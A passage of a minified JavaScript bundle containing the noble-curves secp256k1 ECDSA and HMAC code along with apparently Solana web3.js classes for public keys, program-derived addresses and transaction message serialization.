m.unsafeLadder(this,v);let{k1neg:M,k1:E,k2neg:x,k2:R}=q.splitScalar(v),K=I,W=I,j=this;for(;E>ss||R>ss;)E&Oo&&(K=K.add(j)),R&Oo&&(W=W.add(j)),j=j.double(),E>>=Oo,R>>=Oo;return M&&(K=K.negate()),x&&(W=W.negate()),W=new f(n.mul(W.px,q.beta),W.py,W.pz),K.add(W)}multiply(v){a(v);let I=v,q,M;const{endo:E}=t;if(E){const{k1neg:x,k1:R,k2neg:K,k2:W}=E.splitScalar(I);let{p:j,f:H}=this.wNAF(R),{p:P,f:U}=this.wNAF(W);j=m.constTimeNegate(x,j),P=m.constTimeNegate(K,P),P=new f(n.mul(P.px,E.beta),P.py,P.pz),q=j.add(P),M=H.add(U)}else{const{p:x,f:R}=this.wNAF(I);q=x,M=R}return f.normalizeZ([q,M])[0]}multiplyAndAddUnsafe(v,I,q){const M=f.BASE,E=(R,K)=>K===ss||K===Oo||!R.equals(M)?R.multiplyUnsafe(K):R.multiply(K),x=E(this,I).add(E(v,q));return x.is0()?void 0:x}toAffine(v){const{px:I,py:q,pz:M}=this,E=this.is0();v==null&&(v=E?n.ONE:n.inv(M));const x=n.mul(I,v),R=n.mul(q,v),K=n.mul(M,v);if(E)return{x:n.ZERO,y:n.ZERO};if(!n.eql(K,n.ONE))throw new Error("invZ was invalid");return{x,y:R}}isTorsionFree(){const{h:v,isTorsionFree:I}=t;if(v===Oo)return!0;if(I)return I(f,this);throw new Error("isTorsionFree() has not been declared for the elliptic curve")}clearCofactor(){const{h:v,clearCofactor:I}=t;return v===Oo?this:I?I(f,this):this.multiplyUnsafe(t.h)}toRawBytes(v=!0){return this.assertValidity(),r(f,this,v)}toHex(v=!0){return Sl(this.toRawBytes(v))}}f.BASE=new f(t.Gx,t.Gy,n.ONE),f.ZERO=new f(n.ZERO,n.ONE,n.ZERO);const p=t.nBitLength,m=cM(f,t.endo?Math.ceil(p/2):p);return{CURVE:t,ProjectivePoint:f,normPrivateKeyToScalar:l,weierstrassEquation:i,isWithinCurveOrder:s}}function rZ(e){const t=Lb(e);return fc(t,{hash:"hash",hmac:"function",randomBytes:"function"},{bits2int:"function",bits2int_modN:"function",lowS:"boolean"}),Object.freeze({lowS:!0,...t})}function oZ(e){const t=rZ(e),{Fp:n,n:r}=t,o=n.BYTES+1,i=2*n.BYTES+1;function s(b){return ss<b&&b<n.ORDER}function a(b){return Wn(b,r)}function l(b){return ig(b,r)}const{ProjectivePoint:u,normPrivateKeyToScalar:c,weierstrassEquation:f,isWithinCurveOrder:p}=nZ({...t,toBytes(b,w,A){const C=w.toAffine(),S=n.toBytes(C.x),z=El;return A?z(Uint8Array.from([w.hasEvenY()?2:3]),S):z(Uint8Array.from([4]),S,n.toBytes(C.y))},fromBytes(b){const w=b.length,A=b[0],C=b.subarray(1);if(w===o&&(A===2||A===3)){const S=fl(C);if(!s(S))throw new Error("Point is not on curve");const z=f(S);let k;try{k=n.sqrt(z)}catch(te){const le=te instanceof Error?": "+te.message:"";throw new Error("Point is not on curve"+le)}const y=(k&Oo)===Oo;return(A&1)===1!==y&&(k=n.neg(k)),{x:S,y:k}}else if(w===i&&A===4){const S=n.fromBytes(C.subarray(0,n.BYTES)),z=n.fromBytes(C.subarray(n.BYTES,2*n.BYTES));return{x:S,y:z}}else throw new Error(`Point of length ${w} was invalid. Expected ${o} compressed bytes or ${i} uncompressed bytes`)}}),m=b=>Sl(Uu(b,t.nByteLength));function g(b){const w=r>>Oo;return b>w}function v(b){return g(b)?a(-b):b}const I=(b,w,A)=>fl(b.slice(w,A));class q{constructor(w,A,C){this.r=w,this.s=A,this.recovery=C,this.assertValidity()}static fromCompact(w){const A=t.nByteLength;return w=ur("compactSignature",w,A*2),new q(I(w,0,A),I(w,A,2*A))}static fromDER(w){const{r:A,s:C}=_a.toSig(ur("DER",w));return new q(A,C)}assertValidity(){if(!p(this.r))throw new Error("r must be 0 < r < CURVE.n");if(!p(this.s))throw new Error("s must be 0 < s < CURVE.n")}addRecoveryBit(w){return new q(this.r,this.s,w)}recoverPublicKey(w){const{r:A,s:C,recovery:S}=this,z=W(ur("msgHash",w));if(S==null||![0,1,2,3].includes(S))throw new Error("recovery id invalid");const k=S===2||S===3?A+t.n:A;if(k>=n.ORDER)throw new Error("recovery id 2 or 3 invalid");const y=S&1?"03":"02",T=u.fromHex(y+m(k)),te=l(k),le=a(-z*te),re=a(C*te),de=u.BASE.multiplyAndAddUnsafe(T,le,re);if(!de)throw new Error("point at infinify");return de.assertValidity(),de}hasHighS(){return g(this.s)}normalizeS(){return this.hasHighS()?new q(this.r,a(-this.s),this.recovery):this}toDERRawBytes(){return Vu(this.toDERHex())}toDERHex(){return _a.hexFromSig({r:this.r,s:this.s})}toCompactRawBytes(){return Vu(this.toCompactHex())}toCompactHex(){return m(this.r)+m(this.s)}}const M={isValidPrivateKey(b){try{return c(b),!0}catch{return!1}},normPrivateKeyToScalar:c,randomPrivateKey:()=>{const b=uM(t.n);return g5(t.randomBytes(b),t.n)},precompute(b=8,w=u.BASE){return w._setWindowSize(b),w.multiply(BigInt(3)),w}};function E(b,w=!0){return u.fromPrivateKey(b).toRawBytes(w)}function x(b){const w=wl(b),A=typeof b=="string",C=(w||A)&&b.length;return w?C===o||C===i:A?C===2*o||C===2*i:b instanceof u}function R(b,w,A=!0){if(x(b))throw new Error("first arg must be private key");if(!x(w))throw new Error("second arg must be public key");return u.fromHex(w).multiply(c(b)).toRawBytes(A)}const K=t.bits2int||function(b){const w=fl(b),A=b.length*8-t.nBitLength;return A>0?w>>BigInt(A):w},W=t.bits2int_modN||function(b){return a(K(b))},j=Rb(t.nBitLength);function H(b){if(typeof b!="bigint")throw new Error("bigint expected");if(!(ss<=b&&b<j))throw new Error(`bigint expected < 2^${t.nBitLength}`);return Uu(b,t.nByteLength)}function P(b,w,A=U){if(["recovered","canonical"].some(we=>we in A))throw new Error("sign() legacy options not supported");const{hash:C,randomBytes:S}=t;let{lowS:z,prehash:k,extraEntropy:y}=A;z==null&&(z=!0),b=ur("msgHash",b),k&&(b=ur("prehashed msgHash",C(b)));const T=W(b),te=c(w),le=[H(te),H(T)];if(y!=null&&y!==!1){const we=y===!0?S(n.BYTES):y;le.push(ur("extraEntropy",we))}const re=El(...le),de=T;function ce(we){const Ie=K(we);if(!p(Ie))return;const ge=l(Ie),Me=u.BASE.multiply(Ie).toAffine(),se=a(Me.x);if(se===ss)return;const ue=a(ge*a(de+se*te));if(ue===ss)return;let ve=(Me.x===se?0:2)|Number(Me.y&Oo),ke=ue;return z&&g(ue)&&(ke=v(ue),ve^=1),new q(se,ke,ve)}return{seed:re,k2sig:ce}}const U={lowS:t.lowS,prehash:!1},X={lowS:t.lowS,prehash:!1};function L(b,w,A=U){const{seed:C,k2sig:S}=P(b,w,A),z=t;return iM(z.hash.outputLen,z.nByteLength,z.hmac)(C,S)}u.BASE._setWindowSize(8);function h(b,w,A,C=X){var Me;const S=b;if(w=ur("msgHash",w),A=ur("publicKey",A),"strict"in C)throw new Error("options.strict was renamed to lowS");const{lowS:z,prehash:k}=C;let y,T;try{if(typeof S=="string"||wl(S))try{y=q.fromDER(S)}catch(se){if(!(se instanceof _a.Err))throw se;y=q.fromCompact(S)}else if(typeof S=="object"&&typeof S.r=="bigint"&&typeof S.s=="bigint"){const{r:se,s:ue}=S;y=new q(se,ue)}else throw new Error("PARSE");T=u.fromHex(A)}catch(se){if(se.message==="PARSE")throw new Error("signature must be Signature instance, Uint8Array or hex string");return!1}if(z&&y.hasHighS())return!1;k&&(w=t.hash(w));const{r:te,s:le}=y,re=W(w),de=l(le),ce=a(re*de),we=a(te*de),Ie=(Me=u.BASE.multiplyAndAddUnsafe(T,ce,we))==null?void 0:Me.toAffine();return Ie?a(Ie.x)===te:!1}return{CURVE:t,getPublicKey:E,getSharedSecret:R,sign:L,verify:h,ProjectivePoint:u,Signature:q,utils:M}}class $M extends QA{constructor(t,n){super(),this.finished=!1,this.destroyed=!1,wR(t);const r=zb(n);if(this.iHash=t.create(),typeof this.iHash.update!="function")throw new Error("Expected instance of class which extends utils.Hash");this.blockLen=this.iHash.blockLen,this.outputLen=this.iHash.outputLen;const o=this.blockLen,i=new Uint8Array(o);i.set(r.length>o?t.create().update(r).digest():r);for(let s=0;s<i.length;s++)i[s]^=54;this.iHash.update(i),this.oHash=t.create();for(let s=0;s<i.length;s++)i[s]^=106;this.oHash.update(i),i.fill(0)}update(t){return hp(this),this.iHash.update(t),this}digestInto(t){hp(this),um(t,this.outputLen),this.finished=!0,this.iHash.digestInto(t),this.oHash.update(t),this.oHash.digestInto(t),this.destroy()}digest(){const t=new Uint8Array(this.oHash.outputLen);return this.digestInto(t),t}_cloneInto(t){t||(t=Object.create(Object.getPrototypeOf(this),{}));const{oHash:n,iHash:r,finished:o,destroyed:i,blockLen:s,outputLen:a}=this;return t=t,t.finished=o,t.destroyed=i,t.blockLen=s,t.outputLen=a,t.oHash=n._cloneInto(t.oHash),t.iHash=r._cloneInto(t.iHash),t}destroy(){this.destroyed=!0,this.oHash.destroy(),this.iHash.destroy()}}const eC=(e,t,n)=>new $M(e,t).update(n).digest();eC.create=(e,t)=>new $M(e,t);/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */function iZ(e){return{hash:e,hmac:(t,...n)=>eC(e,t,XA(...n)),randomBytes:$A}}function sZ(e,t){const n=r=>oZ({...e,...iZ(r)});return Object.freeze({...n(t),create:n})}/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */const tC=BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f"),qw=BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"),aZ=BigInt(1),cg=BigInt(2),ww=(e,t)=>(e+t/cg)/t;function lZ(e){const t=tC,n=BigInt(3),r=BigInt(6),o=BigInt(11),i=BigInt(22),s=BigInt(23),a=BigInt(44),l=BigInt(88),u=e*e*e%t,c=u*u*e%t,f=Dn(c,n,t)*c%t,p=Dn(f,n,t)*c%t,m=Dn(p,cg,t)*u%t,g=Dn(m,o,t)*m%t,v=Dn(g,i,t)*g%t,I=Dn(v,a,t)*v%t,q=Dn(I,l,t)*I%t,M=Dn(q,a,t)*v%t,E=Dn(M,n,t)*c%t,x=Dn(E,s,t)*g%t,R=Dn(x,r,t)*u%t,K=Dn(R,cg,t);if(!dg.eql(dg.sqr(K),e))throw new Error("Cannot find square root");return K}const dg=aM(tC,void 0,void 0,{sqrt:lZ}),n1=sZ({a:BigInt(0),b:BigInt(7),Fp:dg,n:qw,Gx:BigInt("55066263022277343669578718895168534326250603453777594175500187360389116729240"),Gy:BigInt("32670510020758816978083085130507043184471273380659243275938904335757337482424"),h:BigInt(1),lowS:!0,endo:{beta:BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"),splitScalar:e=>{const t=qw,n=BigInt("0x3086d221a7d46bcde86c90e49284eb15"),r=-aZ*BigInt("0xe4437ed6010e88286f547fa90abfe4c3"),o=BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8"),i=n,s=BigInt("0x100000000000000000000000000000000"),a=ww(i*e,t),l=ww(-r*e,t);let u=Wn(e-a*n-l*o,t),c=Wn(-a*r-l*i,t);const f=u>s,p=c>s;if(f&&(u=t-u),p&&(c=t-c),u>s||c>s)throw new Error("splitScalar: Endomorphism failed, k="+e);return{k1neg:f,k1:u,k2neg:p,k2:c}}}},lg);BigInt(0);n1.ProjectivePoint;function Sw(e){try{return jb.ExtendedPoint.fromHex(e),!0}catch{return!1}}const nC=(e,t)=>jb.sign(e,t.slice(0,32)),uZ=jb.verify,Hu=e=>en.isBuffer(e)?e:e instanceof Uint8Array?en.from(e.buffer,e.byteOffset,e.byteLength):en.from(e);class cZ{constructor(t){Object.assign(this,t)}encode(){return en.from(bM(vh,this))}static decode(t){return IM(vh,this,t)}static decodeUnchecked(t){return pM(vh,this,t)}}const vh=new Map;var rC;let oC;const dZ=32,ia=32;function fZ(e){return e._bn!==void 0}let Ew=1;oC=Symbol.toStringTag;class ht extends cZ{constructor(t){if(super({}),this._bn=void 0,fZ(t))this._bn=t._bn;else{if(typeof t=="string"){const n=Qn.decode(t);if(n.length!=ia)throw new Error("Invalid public key input");this._bn=new rw(n)}else this._bn=new rw(t);if(this._bn.byteLength()>ia)throw new Error("Invalid public key input")}}static unique(){const t=new ht(Ew);return Ew+=1,new ht(t.toBuffer())}equals(t){return this._bn.eq(t._bn)}toBase58(){return Qn.encode(this.toBytes())}toJSON(){return this.toBase58()}toBytes(){const t=this.toBuffer();return new Uint8Array(t.buffer,t.byteOffset,t.byteLength)}toBuffer(){const t=this._bn.toArrayLike(en);if(t.length===ia)return t;const n=en.alloc(32);return t.copy(n,32-t.length),n}get[oC](){return`PublicKey(${this.toString()})`}toString(){return this.toBase58()}static async createWithSeed(t,n,r){const o=en.concat([t.toBuffer(),en.from(n),r.toBuffer()]),i=lg(o);return new ht(i)}static createProgramAddressSync(t,n){let r=en.alloc(0);t.forEach(function(i){if(i.length>dZ)throw new TypeError("Max seed length exceeded");r=en.concat([r,Hu(i)])}),r=en.concat([r,n.toBuffer(),en.from("ProgramDerivedAddress")]);const o=lg(r);if(Sw(o))throw new Error("Invalid seeds, address must fall off the curve");return new ht(o)}static async createProgramAddress(t,n){return this.createProgramAddressSync(t,n)}static findProgramAddressSync(t,n){let r=255,o;for(;r!=0;){try{const i=t.concat(en.from([r]));o=this.createProgramAddressSync(i,n)}catch(i){if(i instanceof TypeError)throw i;r--;continue}return[o,r]}throw new Error("Unable to find a viable program address nonce")}static async findProgramAddress(t,n){return this.findProgramAddressSync(t,n)}static isOnCurve(t){const n=new ht(t);return Sw(n.toBytes())}}rC=ht;ht.default=new rC("11111111111111111111111111111111");vh.set(ht,{kind:"struct",fields:[["_bn","u256"]]});new ht("BPFLoader1111111111111111111111111111111111");const Ou=1232,r1=127,Sd=64;class iC extends Error{constructor(t){super(`Signature ${t} has expired: block height exceeded.`),this.signature=void 0,this.signature=t}}Object.defineProperty(iC.prototype,"name",{value:"TransactionExpiredBlockheightExceededError"});class sC extends Error{constructor(t,n){super(`Transaction was not confirmed in ${n.toFixed(2)} seconds. It is unknown if it succeeded or failed. Check signature ${t} using the Solana Explorer or CLI tools.`),this.signature=void 0,this.signature=t}}Object.defineProperty(sC.prototype,"name",{value:"TransactionExpiredTimeoutError"});class Gc extends Error{constructor(t){super(`Signature ${t} has expired: the nonce is no longer valid.`),this.signature=void 0,this.signature=t}}Object.defineProperty(Gc.prototype,"name",{value:"TransactionExpiredNonceInvalidError"});class bp{constructor(t,n){this.staticAccountKeys=void 0,this.accountKeysFromLookups=void 0,this.staticAccountKeys=t,this.accountKeysFromLookups=n}keySegments(){const t=[this.staticAccountKeys];return this.accountKeysFromLookups&&(t.push(this.accountKeysFromLookups.writable),t.push(this.accountKeysFromLookups.readonly)),t}get(t){for(const n of this.keySegments()){if(t<n.length)return n[t];t-=n.length}}get length(){return this.keySegments().flat().length}compileInstructions(t){if(this.length>256)throw new Error("Account index overflow encountered during compilation");const r=new Map;this.keySegments().flat().forEach((i,s)=>{r.set(i.toBase58(),s)});const o=i=>{const s=r.get(i.toBase58());if(s===void 0)throw new Error("Encountered an unknown instruction account key during compilation");return s};return t.map(i=>({programIdIndex:o(i.programId),accountKeyIndexes:i.keys.map(s=>o(s.pubkey)),data:i.data}))}}const an=(e="publicKey")=>xn(32,e),hZ=(e="signature")=>xn(64,e),yu=(e="string")=>{const t=Ct([zt("length"),zt("lengthPadding"),xn(hl(zt(),-8),"chars")],e),n=t.decode.bind(t),r=t.encode.bind(t),o=t;return o.decode=(i,s)=>n(i,s).chars.toString(),o.encode=(i,s,a)=>{const l={chars:en.from(i,"utf8")};return r(l,s,a)},o.alloc=i=>zt().span+zt().span+en.from(i,"utf8").length,o},pZ=(e="authorized")=>Ct([an("staker"),an("withdrawer")],e),mZ=(e="lockup")=>Ct([go("unixTimestamp"),go("epoch"),an("custodian")],e),vZ=(e="voteInit")=>Ct([an("nodePubkey"),an("authorizedVoter"),an("authorizedWithdrawer"),gn("commission")],e),gZ=(e="voteAuthorizeWithSeedArgs")=>Ct([zt("voteAuthorizationType"),an("currentAuthorityDerivedKeyOwnerPubkey"),yu("currentAuthorityDerivedKeySeed"),an("newAuthorized")],e);function yo(e){let t=0,n=0;for(;;){let r=e.shift();if(t|=(r&127)<<n*7,n+=1,!(r&128))break}return t}function bo(e,t){let n=t;for(;;){let r=n&127;if(n>>=7,n==0){e.push(r);break}else r|=128,e.push(r)}}function jn(e,t){if(!e)throw new Error(t||"Assertion failed")}class ym{constructor(t,n){this.payer=void 0,this.keyMetaMap=void 0,this.payer=t,this.keyMetaMap=n}static compile(t,n){const r=new Map,o=s=>{const a=s.toBase58();let l=r.get(a);return l===void 0&&(l={isSigner:!1,isWritable:!1,isInvoked:!1},r.set(a,l)),l},i=o(n);i.isSigner=!0,i.isWritable=!0;for(const s of t){o(s.programId).isInvoked=!0;for(const a of s.keys){const l=o(a.pubkey);l.isSigner||(l.isSigner=a.isSigner),l.isWritable||(l.isWritable=a.isWritable)}}return new ym(n,r)}getMessageComponents(){const t=[...this.keyMetaMap.entries()];jn(t.length<=256,"Max static account keys length exceeded");const n=t.filter(([,l])=>l.isSigner&&l.isWritable),r=t.filter(([,l])=>l.isSigner&&!l.isWritable),o=t.filter(([,l])=>!l.isSigner&&l.isWritable),i=t.filter(([,l])=>!l.isSigner&&!l.isWritable),s={numRequiredSignatures:n.length+r.length,numReadonlySignedAccounts:r.length,numReadonlyUnsignedAccounts:i.length};{jn(n.length>0,"Expected at least one writable signer key");const[l]=n[0];jn(l===this.payer.toBase58(),"Expected first writable signer key to be the fee payer")}const a=[...n.map(([l])=>new ht(l)),...r.map(([l])=>new ht(l)),...o.map(([l])=>new ht(l)),...i.map(([l])=>new ht(l))];return[s,a]}extractTableLookup(t){const[n,r]=this.drainKeysFoundInLookupTable(t.state.addresses,s=>!s.isSigner&&!s.isInvoked&&s.isWritable),[o,i]=this.drainKeysFoundInLookupTable(t.state.addresses,s=>!s.isSigner&&!s.isInvoked&&!s.isWritable);if(!(n.length===0&&o.length===0))return[{accountKey:t.key,writableIndexes:n,readonlyIndexes:o},{writable:r,readonly:i}]}drainKeysFoundInLookupTable(t,n){const r=new Array,o=new Array;for(const[i,s]of this.keyMetaMap.entries())if(n(s)){const a=new ht(i),l=t.findIndex(u=>u.equals(a));l>=0&&(jn(l<256,"Max lookup table index exceeded"),r.push(l),o.push(a),this.keyMetaMap.delete(i))}return[r,o]}}const aC="Reached end of buffer unexpectedly";function as(e){if(e.length===0)throw new Error(aC);return e.shift()}function Io(e,...t){const[n]=t;if(t.length===2?n+(t[1]??0)>e.length:n>=e.length)throw new Error(aC);return e.splice(...t)}class ys{constructor(t){this.header=void 0,this.accountKeys=void 0,this.recentBlockhash=void 0,this.instructions=void 0,this.indexToProgramIds=new Map,this.header=t.header,this.accountKeys=t.accountKeys.map(n=>new ht(n)),this.recentBlockhash=t.recentBlockhash,this.instructions=t.instructions,this.instructions.forEach(n=>this.indexToProgramIds.set(n.programIdIndex,this.accountKeys[n.programIdIndex]))}get version(){return"legacy"}get staticAccountKeys(){return this.accountKeys}get compiledInstructions(){return this.instructions.map(t=>({programIdIndex:t.programIdIndex,accountKeyIndexes:t.accounts,data:Qn.decode(t.data)}))}get addressTableLookups(){return[]}getAccountKeys(){return new bp(this.staticAccountKeys)}static compile(t){const n=ym.compile(t.instructions,t.payerKey),[r,o]=n.getMessageComponents(),s=new bp(o).compileInstructions(t.instructions).map(a=>({programIdIndex:a.programIdIndex,accounts:a.accountKeyIndexes,data:Qn.encode(a.data)}));return new ys({header:r,accountKeys:o,recentBlockhash:t.recentBlockhash,instructions:s})}isAccountSigner(t){return t<this.header.numRequiredSignatures}isAccountWritable(t){const n=this.header.numRequiredSignatures;if(t>=this.header.numRequiredSignatures){const r=t-n,i=this.accountKeys.length-n-this.header.numReadonlyUnsignedAccounts;return r<i}else{const r=n-this.header.numReadonlySignedAccounts;return t<r}}isProgramId(t){return this.indexToProgramIds.has(t)}programIds(){return[...this.indexToProgramIds.values()]}nonProgramIds(){return this.accountKeys.filter((t,n)=>!this.isProgramId(n))}serialize(){const t=this.accountKeys.length;let n=[];bo(n,t);const r=this.instructions.map(f=>{const{accounts:p,programIdIndex:m}=f,g=Array.from(Qn.decode(f.data));let v=[];bo(v,p.length);let I=[];return bo(I,g.length),{programIdIndex:m,keyIndicesCount:en.from(v),keyIndices:p,dataLength:en.from(I),data:g}});let o=[];bo(o,r.length);let i=en.alloc(Ou);en.from(o).copy(i);let s=o.length;r.forEach(f=>{const m=Ct([gn("programIdIndex"),xn(f.keyIndicesCount.length,"keyIndicesCount"),Wr(gn("keyIndex"),f.keyIndices.length,"keyIndices"),xn(f.dataLength.length,"dataLength"),Wr(gn("userdatum"),f.data.length,"data")]).encode(f,i,s);s+=m}),i=i.slice(0,s);const a=Ct([xn(1,"numRequiredSignatures"),xn(1,"numReadonlySignedAccounts"),xn(1,"numReadonlyUnsignedAccounts"),xn(n.length,"keyCount"),Wr(an("key"),t,"keys"),an("recentBlockhash")]),l={numRequiredSignatures:en.from([this.header.numRequiredSignatures]),numReadonlySignedAccounts:en.from([this.header.numReadonlySignedAccounts]),numReadonlyUnsignedAccounts:en.from([this.header.numReadonlyUnsignedAccounts]),keyCount:en.from(n),keys:this.accountKeys.map(f=>Hu(f.toBytes())),recentBlockhash:Qn.decode(this.recentBlockhash)};let u=en.alloc(2048);const c=a.encode(l,u);return i.copy(u,c),u.slice(0,c+i.length)}static from(t){let n=[...t];const r=as(n);if(r!==(r&r1))throw new Error("Versioned messages must be deserialized with VersionedMessage.deserialize()");const o=as(n),i=as(n),s=yo(n);let a=[];for(let p=0;p<s;p++){const m=Io(n,0,ia);a.push(new ht(en.from(m)))}const l=Io(n,0,ia),u=yo(n);let c=[];for(let p=0;p<u;p++){const m=as(n),g=yo(n),v=Io(n,0,g),I=yo(n),q=Io(n,0,I),M=Qn.encode(en.from(q));c.push({programIdIndex:m,accounts:v,data:M})}const f={header:{numRequiredSignatures:r,numReadonlySignedAccounts:o,numReadonlyUnsignedAccounts:i},recentBlockhash:Qn.encode(en.from(l)),accountKeys:a,instructions:c};return new ys(f)}}class Ed{constructor(t){this.header=void 0,this.staticAccountKeys=void 0,this.recentBlockhash=void 0,this.compiledInstructions=void 0,this.addressTableLookups=void 0,this.header=t.header,this.staticAccountKeys=t.staticAccountKeys,this.recentBlockhash=t.recentBlockhash,this.compiledInstructions=t.compiledInstructions,this.addressTableLookups=t.addressTableLookups}get version(){return 0}get numAccountKeysFromLookups(){let t=0;for(const n of this.addressTableLookups)t+=n.readonlyIndexes.length+n.writableIndexes.length;return t}getAccountKeys(t){let n;if(t&&"accountKeysFromLookups"in t&&t.accountKeysFromLookups){if(this.numAccountKeysFromLookups!=t.accountKeysFromLookups.writable.length+t.accountKeysFromLookups.readonly.length)throw new Error("Failed to get account keys because of a mismatch in the number of account keys from lookups");n=t.accountKeysFromLookups}else if(t&&"addressLookupTableAccounts"in t&&t.addressLookupTableAccounts)n=this.resolveAddressTableLookups(t.addressLookupTableAccounts);else if(this.addressTableLookups.length>0)throw new Error("Failed to get account keys because address table lookups were not resolved");return new bp(this.staticAccountKeys,n)}isAccountSigner(t){return t<this.header.numRequiredSignatures}isAccountWritable(t){const n=this.header.numRequiredSignatures,r=this.staticAccountKeys.length;if(t>=r){const o=t-r,i=this.addressTableLookups.reduce((s,a)=>s+a.writableIndexes.length,0);return o<i}else if(t>=this.header.numRequiredSignatures){const o=t-n,s=r-n-this.header.numReadonlyUnsignedAccounts;return o<s}else{const o=n-this.header.numReadonlySignedAccounts;return t<o}}resolveAddressTableLookups(t){const n={writable:[],readonly:[]};for(const r of this.addressTableLookups){const o=t.find(i=>i.key.equals(r.accountKey));if(!o)throw new Error(`Failed to find address lookup table account for table key ${r.accountKey.toBase58()}`);for(const i of r.writableIndexes)if(i<o.state.addresses.length)n.writable.push(o.state.addresses[i]);else throw new Error(`Failed to find address for index ${i} in address lookup table ${r.accountKey.toBase58()}`);for(const i of r.readonlyIndexes)if(i<o.state.addresses.length)n.readonly.push(o.state.addresses[i]);else throw new Error(`Failed to find address for index ${i} in address lookup table ${r.accountKey.toBase58()}`)}return n}static compile(t){const n=ym.compile(t.instructions,t.payerKey),r=new Array,o={writable:new Array,readonly:new Array},i=t.addressLookupTableAccounts||[];for(const c of i){const f=n.extractTableLookup(c);if(f!==void 0){const[p,{writable:m,readonly:g}]=f;r.push(p),o.writable.push(...m),o.readonly.push(...g)}}const[s,a]=n.getMessageComponents(),u=new bp(a,o).compileInstructions(t.instructions);return new Ed({header:s,staticAccountKeys:a,recentBlockhash:t.recentBlockhash,compiledInstructions:u,addressTableLookups:r})}serialize(){const t=Array();bo(t,this.staticAccountKeys.length);const n=this.serializeInstructions(),r=Array();bo(r,this.compiledInstructions.length);const o=this.serializeAddressTableLookups(),i=Array();bo(i,this.addressTableLookups.length);const s=Ct([gn("prefix"),Ct([gn("numRequiredSignatures"),gn("numReadonlySignedAccounts"),gn("numReadonlyUnsignedAccounts")],"header"),xn(t.length,"staticAccountKeysLength"),Wr(an(),this.staticAccountKeys.length,"staticAccountKeys"),an("recentBlockhash"),xn(r.length,"instructionsLength"),xn(n.length,"serializedInstructions"),xn(i.length,"addressTableLookupsLength"),xn(o.length,"serializedAddressTableLookups")]),a=new Uint8Array(Ou),u=s.encode({prefix:128,header:this.header,staticAccountKeysLength:new Uint8Array(t),staticAccountKeys:this.staticAccountKeys.map(c=>c.toBytes()),recentBlockhash:Qn.decode(this.recentBlockhash),instructionsLength:new Uint8Array(r),serializedInstructions:n,addressTableLookupsLength:new Uint8Array(i),serializedAddressTableLookups:o},a);return a.slice(0,u)}serializeInstructions(){let t=0;const n=new Uint8Array(Ou);for(const r of this.compiledInstructions){const o=Array();bo(o,r.accountKeyIndexes.length);const i=Array();bo(i,r.data.length);const s=Ct([gn("programIdIndex"),xn(o.length,"encodedAccountKeyIndexesLength"),Wr(gn(),r.accountKeyIndexes.length,"accountKeyIndexes"),xn(i.length,"encodedDataLength"),xn(r.data.length,"data")]);t+=s.encode({programIdIndex:r.programIdIndex,encodedAccountKeyIndexesLength:new Uint8Array(o),accountKeyIndexes:r.accountKeyIndexes,encodedDataLength:new Uint8Array(i),data:r.data},n,t)}return n.slice(0,t)}serializeAddressTableLookups(){let t=0;const n=new Uint8Array(Ou);for(const r of this.addressTableLookups){const o=Array();bo(o,r.writableIndexes.length);const i=Array();bo(i,r.readonlyIndexes.length);const s=Ct([an("accountKey"),xn(o.length,"encodedWritableIndexesLength"),Wr(gn(),r.writableIndexes.length,"writableIndexes"),xn(i.length,"encodedReadonlyIndexesLength"),Wr(gn(),r.readonlyIndexes.length,"readonlyIndexes")]);t+=s.encode({accountKey:r.accountKey.toBytes(),encodedWritableIndexesLength:new Uint8Array(o),writableIndexes:r.writableIndexes,encodedReadonlyIndexesLength:new Uint8Array(i),readonlyIndexes:r.readonlyIndexes},n,t)}return n.slice(0,t)}static deserialize(t){let n=[...t];const r=as(n),o=r&r1;jn(r!==o,"Expected versioned message but received legacy message");const i=o;jn(i===0,`Expected versioned message with version 0 but found version ${i}`);const s={numRequiredSignatures:as(n),numReadonlySignedAccounts:as(n),numReadonlyUnsignedAccounts:as(n)},a=[],l=yo(n);for(let g=0;g<l;g++)a.push(new ht(Io(n,0,ia)));const u=Qn.encode(Io(n,0,ia)),c=yo(n),f=[];for(let g=0;g<c;g++){const v=as(n),I=yo(n),q=Io(n,0,I),M=yo(n),E=new Uint8Array(Io(n,0,M));f.push({programIdIndex:v,accountKeyIndexes:q,data:E})}const p=yo(n),m=[];for(let g=0;g<p;g++){const v=new ht(Io(n,0,ia)),I=yo(n),q=Io(n,0,I),M=yo(n),E=Io(n,0,M);m.push({accountKey:v,writableIndexes:q,readonlyIndexes:E})}return new Ed({header:s,staticAccountKeys:a,recentBlockhash:u,compiledInstructions:f,addressTableLookups:m})}}const o1={deserializeMessageVersion(e){const t=e[0],n=t&r1;return n===t?"legacy":n},deserialize:e=>{const t=o1.deserializeMessageVersion(e);if(t==="legacy")return ys.from(e);if(t===0)return Ed.deserialize(e);throw new Error(`Transaction message version ${t} deserialization is not supported`)}};let Ls=function(e){return e[e.BLOCKHEIGHT_EXCEEDED=0]="BLOCKHEIGHT_EXCEEDED",e[e.PROCESSED=1]="PROCESSED",e[e.TIMED_OUT=2]="TIMED_OUT",e[e.NONCE_INVALID=3]="NONCE_INVALID",e}({});const yZ=en.alloc(Sd).fill(0);class Aw{constructor(t){this.keys=void 0,this.programId=void 0,this.data=en.alloc(0),this.programId=t.programId,this.keys=t.keys,t.data&&(this.data=t.data)}toJSON(){return{keys:this.keys.map(({pubkey:t,isSigner:n,isWritable:r})=>({pubkey:t.toJSON(),isSigner:n,isWritable:r})),programId:this.programId.toJSON(),data:[...this.data]}}}class jr{get signature(){return this.signatures.length>0?this.signatures[0].signature:null}constructor(t){if(this.signatures=[],this.feePayer=void 0,this.instructions=[],this.recentBlockhash=void 0,this.lastValidBlockHeight=void 0,this.nonceInfo=void 0,this.minNonceContextSlot=void 0,this._message=void 0,this._json=void 0,!!t)if(t.feePayer&&(this.feePayer=t.feePayer),t.signatures&&(this.signatures=t.signatures),Object.prototype.hasOwnProperty.call(t,"nonceInfo")){const{minContextSlot:n,nonceInfo:r}=t;this.minNonceContextSlot=n,this.nonceInfo=r}else 